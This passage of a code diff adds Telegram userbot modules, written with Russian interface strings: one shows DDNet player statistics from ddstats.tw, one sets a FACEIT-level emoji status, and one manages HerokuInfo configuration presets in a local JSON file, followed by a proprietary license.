630: "<emoji document_id=5280574832012980688>🇵🇷</emoji>", 634: "<emoji document_id=5280777271001493687>🇶🇦</emoji>", 638: "<emoji document_id=6323079745416202005>🇷🇪</emoji>", 642: "<emoji document_id=6323204514216150852>🇷🇴</emoji>", 643: "<emoji document_id=5271720529298998083>🇷🇺</emoji>", 646: "<emoji document_id=6323209539327886855>🇷🇼</emoji>", 652: "<emoji document_id=5233616700435348314>🇧🇱</emoji>", 654: "<emoji document_id=6323458552941774129>🇸🇭</emoji>",
|
||||
659: "<emoji document_id=5231087492978982103>🇰🇳</emoji>", 662: "<emoji document_id=5222280134257551597>🇱🇨</emoji>", 663: "🇲🇫", 666: "<emoji document_id=5231258308123313128>🇵🇲</emoji>", 670: "<emoji document_id=6323388948701775579>🇻🇨</emoji>", 674: "<emoji document_id=6323376317202957753>🇸🇲</emoji>", 678: "<emoji document_id=6320979540768196479>🇸🇹</emoji>", 682: "<emoji document_id=6323493926292424101>🇸🇦</emoji>",
|
||||
686: "<emoji document_id=6320811418568361413>🇸🇳</emoji>", 688: "<emoji document_id=6323476999826310994>🇷🇸</emoji>", 690: "<emoji document_id=6321207715200763481>🇸🇨</emoji>", 694: "<emoji document_id=6323487479546512920>🇸🇱</emoji>", 702: "<emoji document_id=5280575772610803538>🇸🇬</emoji>", 703: "<emoji document_id=5280878928582423790>🇸🇰</emoji>", 705: "<emoji document_id=5280794605489503727>🇸🇮</emoji>", 706: "<emoji document_id=6323463621003183505>🇸🇴</emoji>",
|
||||
710: "<emoji document_id=5280753120400387794>🇿🇦</emoji>", 716: "<emoji document_id=6323177576181270239>🇿🇼</emoji>", 724: "<emoji document_id=5280990636386825168>🇪🇸</emoji>", 736: "<emoji document_id=6323465695472388250>🇸🇩</emoji>", 737: "<emoji document_id=6321019913460779018>🇸🇸</emoji>", 740: "<emoji document_id=6323299484532999421>🇸🇷</emoji>", 748: "<emoji document_id=6321242508730828949>🇸🇿</emoji>", 752: "<emoji document_id=5280612481696282548>🇸🇪</emoji>",
|
||||
756: "<emoji document_id=5280496161097005481>🇨🇭</emoji>", 760: "<emoji document_id=5384406040055920734>🇸🇾</emoji>", 762: "<emoji document_id=6323529454261896950>🇹🇯</emoji>", 764: "<emoji document_id=5280516132694931619>🇹🇭</emoji>", 768: "<emoji document_id=6323591757057492818>🇹🇬</emoji>", 772: "<emoji document_id=6320884540386576371>🇹🇰</emoji>", 776: "<emoji document_id=6323459330330855189>🇹🇴</emoji>", 780: "<emoji document_id=6323273787743668306>🇹🇹</emoji>",
|
||||
784: "<emoji document_id=5280621904854528308>🇦🇪</emoji>", 788: "<emoji document_id=6323420903258457844>🇹🇳</emoji>", 792: "<emoji document_id=5280789515953255080>🇹🇷</emoji>", 795: "<emoji document_id=6323414482282350254>🇹🇲</emoji>", 796: "<emoji document_id=6323068728825087940>🇹🇨</emoji>", 798: "<emoji document_id=6321269455355643417>🇹🇻</emoji>", 800: "<emoji document_id=6323467039797150870>🇺🇬</emoji>", 804: "<emoji document_id=5280497565551311161>🇺🇦</emoji>",
|
||||
818: "<emoji document_id=5355240729624982413>🇪🇬</emoji>", 826: "<emoji document_id=5280608440132057367>🇬🇧</emoji>", 831: "<emoji document_id=5285175008274960955>🇬🇬</emoji>", 832: "<emoji document_id=5283002721190826424>🇯🇪</emoji>", 833: "<emoji document_id=5282747346730375058>🇮🇲</emoji>", 840: "<emoji document_id=5280652115654494137>🇺🇸</emoji>", 854: "<emoji document_id=5474323070183285988>🇧🇫</emoji>", 858: "<emoji document_id=6323182231925819139>🇺🇾</emoji>",
|
||||
860: "<emoji document_id=5280544719997253484>🇺🇿</emoji>", 862: "<emoji document_id=6323244040800175517>🇻🇪</emoji>", 876: "<emoji document_id=6323428208997828313>🇼🇫</emoji>", 882: "<emoji document_id=6323227281837786699>🇼🇸</emoji>", 887: "<emoji document_id=6323263256483858365>🇾🇪</emoji>", 894: "<emoji document_id=6323614928406054835>🇿🇲</emoji>", 90: "<emoji document_id=6323197496239588762>🇸🇧</emoji>", 92: "<emoji document_id=6321258954160604865>🇻🇬</emoji>",
|
||||
104: "<emoji document_id=5283227558433806137>🇲🇲</emoji>", 132: "<emoji document_id=5233184244473283152>🇨🇻</emoji>", 144: "<emoji document_id=5445234523702844364>🇱🇰</emoji>", 162: "<emoji document_id=5377505921691828576>🇽🇰</emoji>", 166: "<emoji document_id=5283031196823998792>🇨🇨</emoji>",
|
||||
}
|
||||
|
||||
@loader.tds
|
||||
class DDNetStats(loader.Module):
|
||||
"""Модуль для просмотра статистики игрока DDNet через ddstats.tw"""
|
||||
strings = {
|
||||
"name": "DDNetStats",
|
||||
"no_args": "<emoji document_id=5980953710157632545>❌</emoji> <b>Укажите ник игрока!</b>",
|
||||
"not_found": "<emoji document_id=5980953710157632545>❌</emoji> <b>Игрок не найден или ошибка API.</b>",
|
||||
}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
|
||||
@loader.command()
|
||||
async def ddstats(self, message):
|
||||
"""<ник> — Показать статистику игрока DDNet"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
await utils.answer(message, self.strings["no_args"])
|
||||
return
|
||||
|
||||
try:
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(f"https://ddstats.tw/player/json?player={args}") as resp:
|
||||
if resp.status != 200:
|
||||
await utils.answer(message, self.strings["not_found"])
|
||||
return
|
||||
data = await resp.json()
|
||||
if "error" in data and data["error"] == "player not found":
|
||||
await utils.answer(message, self.strings["not_found"])
|
||||
return
|
||||
|
||||
response = ""
|
||||
# профиль
|
||||
profile_list = data.get("recent_player_info", [])
|
||||
profile2 = data.get("profile", {})
|
||||
if profile_list and profile2:
|
||||
profile = profile_list[0]
|
||||
name = profile.get("name", args)
|
||||
points = profile2.get("points", "—")
|
||||
clan = profile.get("clan", "—")
|
||||
country_id = profile.get("country", -1)
|
||||
flag = COUNTRY_FLAGS.get(country_id, "-")
|
||||
skin = profile.get("skin_name", "—")
|
||||
last_seen = profile.get("last_seen", "-")
|
||||
|
||||
response += (
|
||||
f"<b><emoji document_id=6032693626394382504>👤</emoji> Игрок: <code>{name}</code>\n\n"
|
||||
f"<emoji document_id=5908961403917570106>📌</emoji> Профиль:\n"
|
||||
f"<blockquote><b>Поинты:</b> <code>{points}</code>\n"
|
||||
f"<b>Клан:</b> <code>{clan}</code>\n"
|
||||
f"<b>Флаг:</b> {flag}\n"
|
||||
f"<b>Скин:</b> <code>{skin}</code>\n"
|
||||
f"<b>Дата информации:</b> <code>{last_seen}</code>\n"
|
||||
"</blockquote>\n"
|
||||
)
|
||||
|
||||
# прогресс по категориям
|
||||
completion = data.get("completion_progress", [])
|
||||
if completion:
|
||||
completion_str = []
|
||||
for cat in completion:
|
||||
category = cat.get("category", "Неизвестно")
|
||||
finished = cat.get("maps_finished", 0)
|
||||
total = cat.get("maps_total", 0)
|
||||
completion_str.append(f"{category} - <code>{finished}/{total}</code>")
|
||||
|
||||
response += (
|
||||
"<b><emoji document_id=5924720918826848520>📦</emoji> Прогресс по категориям:\n<blockquote expandable>"
|
||||
+ "\n".join(completion_str) +
|
||||
"</blockquote>\n\n</b>"
|
||||
)
|
||||
|
||||
# ласт активность
|
||||
recent = data.get("recent_activity", [])
|
||||
if recent:
|
||||
recent_str = []
|
||||
for act in recent:
|
||||
date = act.get("date", "—")
|
||||
map_name = act.get("map_name", "—")
|
||||
hours = round(act.get("seconds_played", 0) / 60)
|
||||
recent_str.append(f"{date} - {map_name} (<code>{hours}мин.</code>)")
|
||||
|
||||
response += (
|
||||
"<b><emoji document_id=5870729937215819584>⏰️</emoji> Последняя активность:\n<blockquote expandable>"
|
||||
+ "\n".join(recent_str) +
|
||||
"</blockquote>\n\n</b>"
|
||||
)
|
||||
|
||||
# напарники
|
||||
teammates = data.get("favourite_teammates", [])
|
||||
if teammates:
|
||||
teammates_str = []
|
||||
for mate in teammates:
|
||||
mate_name = mate.get("name", "—")
|
||||
team_rank = mate.get("ranks_together", "—")
|
||||
teammates_str.append(f"{mate_name} - <code>{team_rank} (ранг)</code>")
|
||||
|
||||
response += (
|
||||
"<b><emoji document_id=6032693626394382504>👥</emoji> Любимые напарники:\n<blockquote expandable>"
|
||||
+ "\n".join(teammates_str) +
|
||||
"</blockquote>\n\n</b>"
|
||||
)
|
||||
|
||||
# карты
|
||||
maps = data.get("most_played_maps", [])
|
||||
if maps:
|
||||
maps_str = []
|
||||
for m in maps:
|
||||
map_name = m.get("map_name", "-")
|
||||
hours = round(m.get("seconds_played", 0) / 3600)
|
||||
maps_str.append(f"{map_name} - <code>{hours}ч</code>")
|
||||
|
||||
response += (
|
||||
"<b><emoji document_id=5985479497586053461>🗺</emoji>Карты:\n<blockquote expandable>"
|
||||
+ "\n".join(maps_str) +
|
||||
"</blockquote>\n\n</b>"
|
||||
)
|
||||
|
||||
# режимы
|
||||
gametypes = data.get("most_played_gametypes", [])
|
||||
if gametypes:
|
||||
gametypes_str = []
|
||||
for gt in gametypes:
|
||||
key = gt.get("key", "—")
|
||||
hours = round(gt.get("seconds_played", 0) / 3600)
|
||||
gametypes_str.append(f"{key} - <code>{hours}ч</code>")
|
||||
|
||||
response += (
|
||||
"<b><emoji document_id=5908961403917570106>🎯</emoji>Режимы:\n<blockquote expandable>"
|
||||
+ "\n".join(gametypes_str) +
|
||||
"</blockquote>\n\n</b>"
|
||||
)
|
||||
|
||||
# вся активность
|
||||
general = data.get("general_activity", {})
|
||||
if general:
|
||||
total_hours = round(general.get("total_seconds_played", 0) / 3600)
|
||||
avg_hours = round(general.get("average_seconds_played", 0) / 3600)
|
||||
start_date = general.get("start_of_playtime", "—")
|
||||
response += (
|
||||
"<b><emoji document_id=5870729937215819584>📈</emoji> Общая активность:\n<blockquote expandable>"
|
||||
f"Общее время: <code>{total_hours}ч</code>\n"
|
||||
f"Среднее время игры: <code>{avg_hours}ч</code>\n"
|
||||
f"Начал играть: <code>{start_date}</code>"
|
||||
"</blockquote></b>"
|
||||
)
|
||||
await utils.answer(message, response)
|
||||
except Exception as e:
|
||||
await utils.answer(message, f"<emoji document_id=5980953710157632545>❌</emoji> <b>Ошибка:</b> <code>{str(e)}</code>")
|
||||
|
||||
@loader.command()
|
||||
async def ddstatsred(self, message):
|
||||
"""<ник> - Упрощенная версия"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
await utils.answer(message, self.strings["no_args"])
|
||||
return
|
||||
|
||||
try:
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(f"https://ddstats.tw/player/json?player={args}") as resp:
|
||||
if resp.status != 200:
|
||||
await utils.answer(message, self.strings["not_found"])
|
||||
return
|
||||
data = await resp.json()
|
||||
if "error" in data and data["error"] == "player not found":
|
||||
await utils.answer(message, self.strings["not_found"])
|
||||
return
|
||||
|
||||
response = ""
|
||||
# профиль
|
||||
profile_list = data.get("recent_player_info", [])
|
||||
profile2 = data.get("profile", {})
|
||||
if profile_list and profile2:
|
||||
profile = profile_list[0]
|
||||
name = profile.get("name", args)
|
||||
points = profile2.get("points", "—")
|
||||
clan = profile.get("clan", "—")
|
||||
country_id = profile.get("country", -1)
|
||||
flag = COUNTRY_FLAGS.get(country_id, "-")
|
||||
skin = profile.get("skin_name", "—")
|
||||
last_seen = profile.get("last_seen", "-")
|
||||
|
||||
response += (
|
||||
f"<b><emoji document_id=6032693626394382504>👤</emoji> Игрок: <code>{name}</code>\n\n"
|
||||
f"<emoji document_id=5908961403917570106>📌</emoji> Профиль:\n"
|
||||
f"<blockquote><b>Поинты:</b> <code>{points}</code>\n"
|
||||
f"<b>Клан:</b> <code>{clan}</code>\n"
|
||||
f"<b>Флаг:</b> {flag}\n"
|
||||
f"<b>Скин:</b> <code>{skin}</code>\n"
|
||||
f"<b>Дата информации:</b> <code>{last_seen}</code>\n"
|
||||
"</blockquote>\n"
|
||||
)
|
||||
|
||||
# вся активность
|
||||
general = data.get("general_activity", {})
|
||||
if general:
|
||||
total_hours = round(general.get("total_seconds_played", 0) / 3600)
|
||||
avg_hours = round(general.get("average_seconds_played", 0) / 3600)
|
||||
start_date = general.get("start_of_playtime", "—")
|
||||
|
||||
response += (
|
||||
"<b><emoji document_id=5870729937215819584>📈</emoji> Общая активность:\n<blockquote expandable>"
|
||||
f"Общее время: <code>{total_hours}ч</code>\n"
|
||||
f"Среднее время игры: <code>{avg_hours}ч</code>\n"
|
||||
f"Начал играть: <code>{start_date}</code>"
|
||||
"</blockquote></b>"
|
||||
)
|
||||
|
||||
await utils.answer(message, response)
|
||||
except Exception as e:
|
||||
await utils.answer(message, f"<emoji document_id=5980953710157632545>❌</emoji> <b>Ошибка:</b> <code>{str(e)}</code>")
|
||||
95
mead0wsss/mead0wsMods/FaceitStatus.py
Normal file
95
mead0wsss/mead0wsMods/FaceitStatus.py
Normal file
@@ -0,0 +1,95 @@
|
||||
__version__ = (1, 0, 0)
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.3.3
|
||||
# meta developer: @mead0wssMods
|
||||
# meta banner: https://x0.at/tYLF.png
|
||||
|
||||
import requests
|
||||
from .. import loader, utils
|
||||
from aiohttp import ClientSession
|
||||
import logging
|
||||
|
||||
@loader.tds
|
||||
class FaceitStatus(loader.Module):
|
||||
"""Модуль для установки статуса в зависимости от уровня FACEIT CS 2"""
|
||||
strings = {"name": "FaceitStatus"}
|
||||
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
loader.ConfigValue(
|
||||
"nickname",
|
||||
"",
|
||||
lambda: "Никнейм Faceit для получения информации",
|
||||
validator=loader.validators.String()
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"enabled",
|
||||
False,
|
||||
lambda: "Включить или выключить обновление статуса.",
|
||||
validator=loader.validators.Boolean()
|
||||
)
|
||||
)
|
||||
|
||||
self.faceit_level_emojis = {
|
||||
1: 5472218969999941969,
|
||||
2: 5472420816282983721,
|
||||
3: 5474655053975396078,
|
||||
4: 5474457803307359926,
|
||||
5: 5474321889067276806,
|
||||
6: 5471974427447009199,
|
||||
7: 5474505554753756989,
|
||||
8: 5474586712455782018,
|
||||
9: 5474493773658462333,
|
||||
10: 5474608393450691188,
|
||||
}
|
||||
|
||||
async def client_ready(self):
|
||||
if self.config["enabled"]:
|
||||
self.update_status_loop.start()
|
||||
|
||||
@loader.loop(interval=60)
|
||||
async def update_status_loop(self):
|
||||
await self.update_status()
|
||||
|
||||
async def update_status(self):
|
||||
nickname = self.config["nickname"]
|
||||
if not nickname:
|
||||
return
|
||||
|
||||
async with ClientSession() as session:
|
||||
async with session.get(f"https://api.faceit.com/users/v1/nicknames/{nickname}") as response:
|
||||
if response.status == 200:
|
||||
payload = await response.json()
|
||||
faceit_lvl = payload.get("payload", {}).get("games", {}).get("cs2", {}).get("skill_level")
|
||||
|
||||
if faceit_lvl in self.faceit_level_emojis:
|
||||
emoji_id = self.faceit_level_emojis[faceit_lvl]
|
||||
await self._client.set_status(emoji_id)
|
||||
else:
|
||||
logging.error("Ошибка при запросе к FACEIT API: %s", response.status)
|
||||
|
||||
@loader.command()
|
||||
async def on_faccmd(self, event):
|
||||
"""Включить обновление статуса."""
|
||||
self.config["enabled"] = True
|
||||
await self.update_status()
|
||||
self.update_status_loop.start()
|
||||
await event.edit("✅ Обновление статуса включено.")
|
||||
|
||||
@loader.command()
|
||||
async def off_faccmd(self, event):
|
||||
"""Выключить обновление статуса."""
|
||||
self.config["enabled"] = False
|
||||
self.update_status_loop.stop()
|
||||
await event.edit("❌ Обновление статуса выключено.")
|
||||
|
||||
345
mead0wsss/mead0wsMods/InfoPresets.py
Normal file
345
mead0wsss/mead0wsMods/InfoPresets.py
Normal file
@@ -0,0 +1,345 @@
|
||||
__version__ = (1, 1, 0)
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
# scope: heroku_only
|
||||
# meta developer: @mead0wssMods
|
||||
# meta banner: https://x0.at/GHOP.png
|
||||
|
||||
import json
|
||||
import os
|
||||
from telethon.tl.types import Message
|
||||
from ..inline.types import InlineCall
|
||||
from .. import loader, utils
|
||||
import logging
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@loader.tds
|
||||
class InfoPresets(loader.Module):
|
||||
"""Управление пресетами для HerokuInfo"""
|
||||
strings = {
|
||||
"name": "InfoPresets",
|
||||
"preset_exists": "🚫 Пресет с таким именем уже существует!",
|
||||
"preset_created": "✅ Пресет '{}' создан. Теперь настройте параметры.",
|
||||
"file_created": "✅ Файл InfoPresets.json создан",
|
||||
"param_set": "✅ Параметр '{}' установлен в '{}' для пресета '{}'",
|
||||
"preset_not_found": "🚫 Пресет '{}' не найден!",
|
||||
"preset_deleted": "✅ Пресет '{}' удален",
|
||||
"no_presets": "🚫 Нет сохраненных пресетов",
|
||||
"preset_loaded": "✅ Пресет '{}' загружен",
|
||||
"enter_value": "✍️ Введите значение для параметра '{}':",
|
||||
"invalid_bool": "🚫 Значение должно быть True или False",
|
||||
"param_not_set": "🚫 Параметр '{}' не установлен в пресете '{}'",
|
||||
"config_menu": "⚙️ Настройка пресета '{}'\nВыберите параметр:",
|
||||
"file_deleted": "✅ Файл с пресетами удален",
|
||||
"file_not_found": "🚫 Файл с пресетами не найден",
|
||||
"preset_list": "📋 Список пресетов:\n\n{}",
|
||||
"preset_info": "🔹 {}:\n{}",
|
||||
"param_info": " • {}: {}",
|
||||
"done": "✅ Готово",
|
||||
"cancel": "❌ Отмена",
|
||||
"form_expired": "⏳ Время действия формы истекло, создайте новую"
|
||||
}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self._client = client
|
||||
self.db = db
|
||||
self.presets_file = "InfoPresets.json"
|
||||
self.ensure_presets_file()
|
||||
self._waiting_param = {}
|
||||
self._active_forms = {}
|
||||
|
||||
def ensure_presets_file(self):
|
||||
if not os.path.exists(self.presets_file):
|
||||
with open(self.presets_file, "w", encoding="utf-8") as f:
|
||||
json.dump({}, f)
|
||||
|
||||
async def createprcmd(self, message: Message):
|
||||
"""Создать новый пресет."""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
return
|
||||
|
||||
with open(self.presets_file, "r+", encoding="utf-8") as f:
|
||||
try:
|
||||
presets = json.load(f)
|
||||
except json.JSONDecodeError:
|
||||
presets = {}
|
||||
|
||||
if args in presets:
|
||||
await utils.answer(message, self.strings["preset_exists"])
|
||||
return
|
||||
|
||||
presets[args] = {}
|
||||
f.seek(0)
|
||||
json.dump(presets, f, indent=4)
|
||||
f.truncate()
|
||||
|
||||
await self.edit_preset(message, args)
|
||||
|
||||
async def edit_preset(self, message: Message, preset_name: str):
|
||||
"""Редактирование пресета с инлайн-кнопками"""
|
||||
buttons = [
|
||||
[
|
||||
{"text": "✏️ custom_message", "callback": self._param_callback, "args": (preset_name, "custom_message")},
|
||||
{"text": "🖼️ pp_to_banner", "callback": self._param_callback, "args": (preset_name, "pp_to_banner")}
|
||||
],
|
||||
[
|
||||
{"text": "🔗 banner_url", "callback": self._param_callback, "args": (preset_name, "banner_url")},
|
||||
{"text": "⚙️ show_heroku", "callback": self._param_callback, "args": (preset_name, "show_heroku")}
|
||||
],
|
||||
[
|
||||
{"text": self.strings["done"], "callback": self._done_callback, "args": (preset_name,)}
|
||||
]
|
||||
]
|
||||
|
||||
form = await self.inline.form(
|
||||
message=message,
|
||||
text=self.strings["config_menu"].format(preset_name),
|
||||
reply_markup=buttons,
|
||||
silent=True
|
||||
)
|
||||
|
||||
self._active_forms[preset_name] = {
|
||||
"form": form,
|
||||
"chat_id": message.chat_id,
|
||||
"user_id": message.sender_id
|
||||
}
|
||||
|
||||
async def _param_callback(self, call: InlineCall, preset_name: str, param: str):
|
||||
"""Обработчик выбора параметра"""
|
||||
if preset_name not in self._active_forms:
|
||||
await call.answer(self.strings["form_expired"])
|
||||
return
|
||||
|
||||
form_info = self._active_forms[preset_name]
|
||||
|
||||
await call.edit(
|
||||
self.strings["enter_value"].format(param),
|
||||
reply_markup=[
|
||||
[{"text": self.strings["cancel"], "callback": self._cancel_callback, "args": (preset_name,)}]
|
||||
]
|
||||
)
|
||||
|
||||
self._waiting_param = {
|
||||
"user_id": call.from_user.id,
|
||||
"chat_id": form_info["chat_id"],
|
||||
"preset_name": preset_name,
|
||||
"param": param,
|
||||
"form_info": form_info
|
||||
}
|
||||
|
||||
async def _cancel_callback(self, call: InlineCall, preset_name: str):
|
||||
"""Обработчик отмены"""
|
||||
if preset_name not in self._active_forms:
|
||||
await call.answer(self.strings["form_expired"])
|
||||
return
|
||||
|
||||
form_info = self._active_forms[preset_name]
|
||||
|
||||
try:
|
||||
await form_info["form"].edit(
|
||||
self.strings["config_menu"].format(preset_name),
|
||||
reply_markup=[
|
||||
[
|
||||
{"text": "✏️ custom_message", "callback": self._param_callback, "args": (preset_name, "custom_message")},
|
||||
{"text": "🖼️ pp_to_banner", "callback": self._param_callback, "args": (preset_name, "pp_to_banner")}
|
||||
],
|
||||
[
|
||||
{"text": "🔗 banner_url", "callback": self._param_callback, "args": (preset_name, "banner_url")},
|
||||
{"text": "⚙️ show_heroku", "callback": self._param_callback, "args": (preset_name, "show_heroku")}
|
||||
],
|
||||
[
|
||||
{"text": self.strings["done"], "callback": self._done_callback, "args": (preset_name,)}
|
||||
]
|
||||
]
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to edit form on cancel: {e}")
|
||||
|
||||
self._waiting_param = {}
|
||||
|
||||
async def _done_callback(self, call: InlineCall, preset_name: str):
|
||||
"""Обработчик завершения"""
|
||||
if preset_name in self._active_forms:
|
||||
try:
|
||||
await call.delete()
|
||||
except:
|
||||
pass
|
||||
del self._active_forms[preset_name]
|
||||
self._waiting_param = {}
|
||||
|
||||
async def watcher(self, message: Message):
|
||||
"""Обработчик ввода значений параметров"""
|
||||
if not self._waiting_param or not isinstance(self._waiting_param, dict):
|
||||
return
|
||||
|
||||
if not isinstance(message, Message) or not message.message or not hasattr(message, "raw_text"):
|
||||
return
|
||||
|
||||
waiting_chat_id = self._waiting_param.get("chat_id")
|
||||
waiting_user_id = self._waiting_param.get("user_id")
|
||||
|
||||
if (not waiting_chat_id or not waiting_user_id or
|
||||
message.chat_id != waiting_chat_id or
|
||||
message.sender_id != waiting_user_id):
|
||||
return
|
||||
|
||||
preset_name = self._waiting_param.get("preset_name")
|
||||
param = self._waiting_param.get("param")
|
||||
form_info = self._waiting_param.get("form_info")
|
||||
|
||||
if not all([preset_name, param, form_info]):
|
||||
self._waiting_param = {}
|
||||
return
|
||||
|
||||
value = message.raw_text.strip()
|
||||
|
||||
if param in ["pp_to_banner", "show_heroku"]:
|
||||
if value.lower() not in ["true", "false"]:
|
||||
return
|
||||
value = value.lower() == "true"
|
||||
|
||||
try:
|
||||
with open(self.presets_file, "r+", encoding="utf-8") as f:
|
||||
presets = json.load(f)
|
||||
if preset_name not in presets:
|
||||
return
|
||||
|
||||
presets[preset_name][param] = value
|
||||
f.seek(0)
|
||||
json.dump(presets, f, indent=4)
|
||||
f.truncate()
|
||||
|
||||
await utils.answer(message, self.strings["param_set"].format(param, value, preset_name))
|
||||
|
||||
try:
|
||||
await form_info["form"].edit(
|
||||
self.strings["config_menu"].format(preset_name),
|
||||
reply_markup=[
|
||||
[
|
||||
{"text": "✏️ custom_message", "callback": self._param_callback, "args": (preset_name, "custom_message")},
|
||||
{"text": "🖼️ pp_to_banner", "callback": self._param_callback, "args": (preset_name, "pp_to_banner")}
|
||||
],
|
||||
[
|
||||
{"text": "🔗 banner_url", "callback": self._param_callback, "args": (preset_name, "banner_url")},
|
||||
{"text": "⚙️ show_heroku", "callback": self._param_callback, "args": (preset_name, "show_heroku")}
|
||||
],
|
||||
[
|
||||
{"text": self.strings["done"], "callback": self._done_callback, "args": (preset_name,)}
|
||||
]
|
||||
]
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to edit form: {e}")
|
||||
|
||||
except Exception as e:
|
||||
logger.exception("Error saving parameter")
|
||||
|
||||
finally:
|
||||
self._waiting_param = {}
|
||||
|
||||
async def delprcmd(self, message: Message):
|
||||
"""Удалить пресет."""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
return
|
||||
|
||||
with open(self.presets_file, "r+", encoding="utf-8") as f:
|
||||
presets = json.load(f)
|
||||
if args not in presets:
|
||||
return
|
||||
|
||||
del presets[args]
|
||||
f.seek(0)
|
||||
json.dump(presets, f, indent=4)
|
||||
f.truncate()
|
||||
|
||||
await utils.answer(message, self.strings["preset_deleted"].format(args))
|
||||
|
||||
async def delfileprcmd(self, message: Message):
|
||||
"""Удалить файл с пресетами."""
|
||||
if not os.path.exists(self.presets_file):
|
||||
return
|
||||
|
||||
os.remove(self.presets_file)
|
||||
self.ensure_presets_file()
|
||||
await utils.answer(message, self.strings["file_deleted"])
|
||||
|
||||
async def uploadprcmd(self, message: Message):
|
||||
"""Загрузить файл с пресетами."""
|
||||
if not os.path.exists(self.presets_file):
|
||||
return
|
||||
|
||||
with open(self.presets_file, "r", encoding="utf-8") as f:
|
||||
presets = json.load(f)
|
||||
if not presets:
|
||||
return
|
||||
|
||||
await self._client.send_file(
|
||||
message.chat_id,
|
||||
self.presets_file,
|
||||
caption="📁 Файл с пресетами"
|
||||
)
|
||||
await message.delete()
|
||||
|
||||
async def listprcmd(self, message: Message):
|
||||
"""Показать список всех пресетов."""
|
||||
if not os.path.exists(self.presets_file):
|
||||
return
|
||||
|
||||
with open(self.presets_file, "r", encoding="utf-8") as f:
|
||||
try:
|
||||
presets = json.load(f)
|
||||
except json.JSONDecodeError:
|
||||
return
|
||||
|
||||
if not presets:
|
||||
return
|
||||
|
||||
result = []
|
||||
for preset_name, params in presets.items():
|
||||
param_lines = []
|
||||
for param, value in params.items():
|
||||
param_lines.append(self.strings["param_info"].format(param, value))
|
||||
result.append(self.strings["preset_info"].format(
|
||||
preset_name, "\n".join(param_lines) if param_lines else "⏺ Нет параметров"
|
||||
))
|
||||
|
||||
await utils.answer(
|
||||
message,
|
||||
self.strings["preset_list"].format("\n\n".join(result))
|
||||
)
|
||||
|
||||
async def loadprcmd(self, message: Message):
|
||||
"""Загрузить пресет."""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
return
|
||||
|
||||
with open(self.presets_file, "r", encoding="utf-8") as f:
|
||||
presets = json.load(f)
|
||||
if args not in presets:
|
||||
return
|
||||
|
||||
preset = presets[args]
|
||||
heroku_info = self.lookup("HerokuInfo")
|
||||
|
||||
if not heroku_info:
|
||||
return
|
||||
|
||||
for param, value in preset.items():
|
||||
if param in heroku_info.config:
|
||||
heroku_info.config[param] = value
|
||||
else:
|
||||
logger.warning(f"Параметр {param} не найден в конфиге HerokuInfo")
|
||||
|
||||
await utils.answer(message, self.strings["preset_loaded"].format(args))
|
||||
20
mead0wsss/mead0wsMods/LICENSE.md
Normal file
20
mead0wsss/mead0wsMods/LICENSE.md
Normal file
@@ -0,0 +1,20 @@
|
||||
Proprietary License Agreement
|
||||
|
||||
Copyright (c) 2025-2030 mead0wss (Maxim Trous)
|
||||
|
||||
Permission is hereby granted to any person obtaining a copy of this software and associated documentation files (the "Software"), to use the Software for personal and non-commercial purposes, subject to the following conditions:
|
||||
|
||||
1. The Software may not be modified, altered, or otherwise changed in any way without the explicit written permission of the author.
|
||||
|
||||
2. Redistribution of the Software, in original or modified form, is strictly prohibited without the explicit written permission of the author.
|
||||
|
||||
3. The Software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and non-infringement. In no event shall the author or copyright holder be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the Software or the use or other dealings in the Software.
|
||||
|
||||
4. Any use of the Software must include the above copyright notice and this permission notice in all copies or substantial portions of the Software.
|
||||
|
||||
5. By using the Software, you agree to be bound by the terms and conditions of this license.
|
||||
|
||||
